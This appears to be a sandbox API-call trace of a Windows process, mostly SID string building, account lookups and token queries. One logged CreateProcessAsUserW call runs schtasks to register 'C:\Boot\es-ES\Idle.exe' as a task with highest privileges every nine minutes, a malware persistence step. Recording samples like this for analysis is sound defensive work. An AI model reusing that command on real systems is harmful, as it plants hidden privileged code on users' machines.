[0134.338] SysStringLen (param_1="-") returned 0x1 [0134.339] memcpy (in: _Dst=0x1179f8, _Src=0x1176d8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0134.339] memcpy (in: _Dst=0x117a1e, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0134.339] free (_Block=0x2af0e0) [0134.339] free (_Block=0x2aefc0) [0134.339] malloc (_Size=0x18) returned 0x2aefc0 [0134.339] malloc (_Size=0x18) returned 0x2af0e0 [0134.339] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0134.339] SysStringLen (param_1="4223814209") returned 0xa [0134.339] memcpy (in: _Dst=0x107588, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0134.339] memcpy (in: _Dst=0x1075b0, _Src=0x1397a8, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0134.339] free (_Block=0x2af0c0) [0134.339] free (_Block=0x2aefc0) [0134.351] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0134.351] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0134.351] malloc (_Size=0x18) returned 0x2aefc0 [0134.352] malloc (_Size=0x18) returned 0x2af0c0 [0134.352] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0134.352] SysStringLen (param_1="-") returned 0x1 [0134.352] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0134.352] memcpy (in: _Dst=0x12d954, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0134.352] free (_Block=0x2af0e0) [0134.352] free (_Block=0x2aefc0) [0134.352] malloc (_Size=0x18) returned 0x2aefc0 [0134.352] malloc (_Size=0x18) returned 0x2af0e0 [0134.352] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0134.352] SysStringLen (param_1="3835049652") returned 0xa [0134.352] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0134.352] memcpy (in: _Dst=0x1075c6, _Src=0x1397a8, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0134.352] free (_Block=0x2af0c0) [0134.352] free (_Block=0x2aefc0) [0134.352] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0134.352] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0134.353] malloc (_Size=0x18) returned 0x2aefc0 [0134.353] malloc (_Size=0x18) returned 0x2af0c0 [0134.353] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0134.353] SysStringLen (param_1="-") returned 0x1 [0134.353] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0134.353] memcpy (in: _Dst=0x12d96a, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0134.353] free (_Block=0x2af0e0) [0134.353] free (_Block=0x2aefc0) [0134.353] malloc (_Size=0x18) returned 0x2aefc0 [0134.353] malloc (_Size=0x18) returned 0x2af0e0 [0134.353] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0134.353] SysStringLen (param_1="1000") returned 0x4 [0134.353] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0134.353] memcpy (in: _Dst=0x1075dc, _Src=0x1397a8, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0134.353] free (_Block=0x2af0c0) [0134.353] free (_Block=0x2aefc0) [0134.353] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0134.353] malloc (_Size=0x5e) returned 0x2b08a0 [0134.353] free (_Block=0x2af0e0) [0134.353] malloc (_Size=0x18) returned 0x2af0e0 [0134.354] free (_Block=0x2b08a0) [0134.354] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0134.356] GetLastError () returned 0x7a [0134.356] malloc (_Size=0x14) returned 0x2aefc0 [0134.356] malloc (_Size=0x16) returned 0x2af0c0 [0134.356] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca84, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0134.357] malloc (_Size=0x18) returned 0x2af000 [0134.357] malloc (_Size=0x18) returned 0x2aefa0 [0134.357] free (_Block=0x2aefc0) [0134.357] free (_Block=0x2af0c0) [0134.357] free (_Block=0x2affa0) [0134.357] free (_Block=0x2aefa0) [0134.357] free (_Block=0x2af000) [0134.357] free (_Block=0x2af0e0) [0134.358] free (_Block=0x2ae2a0) [0134.358] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0134.358] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0134.358] GetLastError () returned 0x7a [0134.358] malloc (_Size=0x2c) returned 0x2ae2e0 [0134.358] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0134.358] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0134.358] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0134.358] malloc (_Size=0x1c) returned 0x2affa0 [0134.358] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0134.358] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0134.358] malloc (_Size=0x18) returned 0x2af0e0 [0134.358] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0134.358] malloc (_Size=0x18) returned 0x2af000 [0134.359] malloc (_Size=0x18) returned 0x2aefa0 [0134.359] SysStringLen (param_1="S-1-") returned 0x4 [0134.359] SysStringLen (param_1="5") returned 0x1 [0134.359] memcpy (in: _Dst=0x139658, _Src=0x139778, _Size=0xa | out: _Dst=0x139658) returned 0x139658 [0134.359] memcpy (in: _Dst=0x139660, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x139660) returned 0x139660 [0134.359] free (_Block=0x2af0e0) [0134.359] free (_Block=0x2af000) [0134.359] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0134.359] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0134.359] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0134.359] malloc (_Size=0x18) returned 0x2af000 [0134.359] malloc (_Size=0x18) returned 0x2af0e0 [0134.359] SysStringLen (param_1="S-1-5") returned 0x5 [0134.359] SysStringLen (param_1="-") returned 0x1 [0134.359] memcpy (in: _Dst=0x1397a8, _Src=0x139658, _Size=0xc | out: _Dst=0x1397a8) returned 0x1397a8 [0134.359] memcpy (in: _Dst=0x1397b2, _Src=0x139778, _Size=0x4 | out: _Dst=0x1397b2) returned 0x1397b2 [0134.359] free (_Block=0x2aefa0) [0134.359] free (_Block=0x2af000) [0134.359] malloc (_Size=0x18) returned 0x2af000 [0134.359] malloc (_Size=0x18) returned 0x2aefa0 [0134.359] SysStringLen (param_1="S-1-5-") returned 0x6 [0134.360] SysStringLen (param_1="21") returned 0x2 [0134.360] memcpy (in: _Dst=0x139778, _Src=0x1397a8, _Size=0xe | out: _Dst=0x139778) returned 0x139778 [0134.360] memcpy (in: _Dst=0x139784, _Src=0x139658, _Size=0x6 | out: _Dst=0x139784) returned 0x139784 [0134.360] free (_Block=0x2af0e0) [0134.360] free (_Block=0x2af000) [0134.360] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0134.360] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0134.360] malloc (_Size=0x18) returned 0x2af000 [0134.360] malloc (_Size=0x18) returned 0x2af0e0 [0134.360] SysStringLen (param_1="S-1-5-21") returned 0x8 [0134.360] SysStringLen (param_1="-") returned 0x1 [0134.360] memcpy (in: _Dst=0x139658, _Src=0x139778, _Size=0x12 | out: _Dst=0x139658) returned 0x139658 [0134.360] memcpy (in: _Dst=0x139668, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x139668) returned 0x139668 [0134.360] free (_Block=0x2aefa0) [0134.360] free (_Block=0x2af000) [0134.360] malloc (_Size=0x18) returned 0x2af000 [0134.360] malloc (_Size=0x18) returned 0x2aefa0 [0134.360] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0134.360] SysStringLen (param_1="4219442223") returned 0xa [0134.360] memcpy (in: _Dst=0x1176d8, _Src=0x139658, _Size=0x14 | out: _Dst=0x1176d8) returned 0x1176d8 [0134.360] memcpy (in: _Dst=0x1176ea, _Src=0x139778, _Size=0x16 | out: _Dst=0x1176ea) returned 0x1176ea [0134.361] free (_Block=0x2af0e0) [0134.361] free (_Block=0x2af000) [0134.361] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0134.361] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0134.361] malloc (_Size=0x18) returned 0x2af000 [0134.361] malloc (_Size=0x18) returned 0x2af0e0 [0134.361] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0134.361] SysStringLen (param_1="-") returned 0x1 [0134.361] memcpy (in: _Dst=0x1179f8, _Src=0x1176d8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0134.361] memcpy (in: _Dst=0x117a1e, _Src=0x139658, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0134.361] free (_Block=0x2aefa0) [0134.361] free (_Block=0x2af000) [0134.361] malloc (_Size=0x18) returned 0x2af000 [0134.361] malloc (_Size=0x18) returned 0x2aefa0 [0134.361] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0134.361] SysStringLen (param_1="4223814209") returned 0xa [0134.361] memcpy (in: _Dst=0x12d918, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0134.361] memcpy (in: _Dst=0x12d940, _Src=0x139658, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0134.361] free (_Block=0x2af0e0) [0134.361] free (_Block=0x2af000) [0134.361] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0134.362] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0134.362] malloc (_Size=0x18) returned 0x2af000 [0134.362] malloc (_Size=0x18) returned 0x2af0e0 [0134.362] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0134.362] SysStringLen (param_1="-") returned 0x1 [0134.362] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0134.362] memcpy (in: _Dst=0x1075c4, _Src=0x139658, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0134.362] free (_Block=0x2aefa0) [0134.362] free (_Block=0x2af000) [0134.362] malloc (_Size=0x18) returned 0x2af000 [0134.362] malloc (_Size=0x18) returned 0x2aefa0 [0134.362] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0134.362] SysStringLen (param_1="3835049652") returned 0xa [0134.362] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0134.362] memcpy (in: _Dst=0x12d956, _Src=0x139658, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0134.362] free (_Block=0x2af0e0) [0134.362] free (_Block=0x2af000) [0134.362] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0134.362] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0134.362] malloc (_Size=0x18) returned 0x2af000 [0134.362] malloc (_Size=0x18) returned 0x2af0e0 [0134.363] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0134.363] SysStringLen (param_1="-") returned 0x1 [0134.363] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0134.363] memcpy (in: _Dst=0x1075da, _Src=0x139658, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0134.363] free (_Block=0x2aefa0) [0134.363] free (_Block=0x2af000) [0134.363] malloc (_Size=0x18) returned 0x2af000 [0134.363] malloc (_Size=0x18) returned 0x2aefa0 [0134.363] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0134.363] SysStringLen (param_1="1000") returned 0x4 [0134.363] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0134.363] memcpy (in: _Dst=0x12d96c, _Src=0x139658, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0134.363] free (_Block=0x2af0e0) [0134.363] free (_Block=0x2af000) [0134.363] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0134.363] malloc (_Size=0x5e) returned 0x2b08a0 [0134.363] free (_Block=0x2aefa0) [0134.363] malloc (_Size=0x18) returned 0x2aefa0 [0134.364] free (_Block=0x2b08a0) [0134.364] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0134.416] GetLastError () returned 0x7a [0134.416] malloc (_Size=0x14) returned 0x2af000 [0134.416] malloc (_Size=0x16) returned 0x2af0e0 [0134.416] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca94, ReferencedDomainName=0x2af0e0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0134.417] malloc (_Size=0x18) returned 0x2af0c0 [0134.417] malloc (_Size=0x18) returned 0x2aefc0 [0134.418] free (_Block=0x2af000) [0134.418] free (_Block=0x2af0e0) [0134.418] free (_Block=0x2affa0) [0134.418] free (_Block=0x2aefc0) [0134.418] free (_Block=0x2af0c0) [0134.418] free (_Block=0x2aefa0) [0134.419] free (_Block=0x2ae2e0) [0134.419] malloc (_Size=0x48) returned 0x2ad270 [0134.419] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0134.430] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0134.430] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0134.430] malloc (_Size=0x18) returned 0x2aefa0 [0134.430] CreateEnvironmentBlock () returned 0x1 [0134.436] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0134.436] malloc (_Size=0x18) returned 0x2af0c0 [0134.436] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec00, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf2c, dwThreadId=0xf30)) returned 1 [0134.442] CloseHandle (hObject=0x2f8) returned 1 [0134.442] CloseHandle (hObject=0x248) returned 1 [0134.443] free (_Block=0x2af0c0) [0134.443] DestroyEnvironmentBlock () returned 0x1 [0134.443] malloc (_Size=0x48) returned 0x2ad220 [0134.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1f21a1c0, dwHighDateTime=0x1d8a92a)) [0134.444] SetEvent (hEvent=0x1f0) returned 1 [0134.444] CloseHandle (hObject=0x2dc) returned 1 [0134.444] CloseHandle (hObject=0x2d0) returned 1 [0134.574] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0134.574] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0134.574] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0135.187] SetLastError (dwErrCode=0x0) [0135.187] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0135.187] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0135.187] SetLastError (dwErrCode=0x0) [0135.187] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0135.187] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0135.187] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0135.187] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0135.187] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0135.187] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0135.189] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0135.190] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.190] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.190] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0135.190] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.190] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.190] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0135.192] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0135.192] GetCurrentThread () returned 0xfffffffffffffffe [0135.192] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0135.192] malloc (_Size=0xd8) returned 0x2b35c0 [0135.192] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0135.192] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0135.192] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0135.192] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0135.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0135.194] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0135.194] malloc (_Size=0x18) returned 0x2aef80 [0135.195] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0135.195] malloc (_Size=0x48) returned 0x2ad3b0 [0135.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1f93e3c0, dwHighDateTime=0x1d8a92a)) [0135.195] SetEvent (hEvent=0x1f0) returned 1 [0135.197] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0135.198] GetLastError () returned 0x7a [0135.198] malloc (_Size=0x2c) returned 0x2ae2a0 [0135.198] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0135.198] IsValidSid 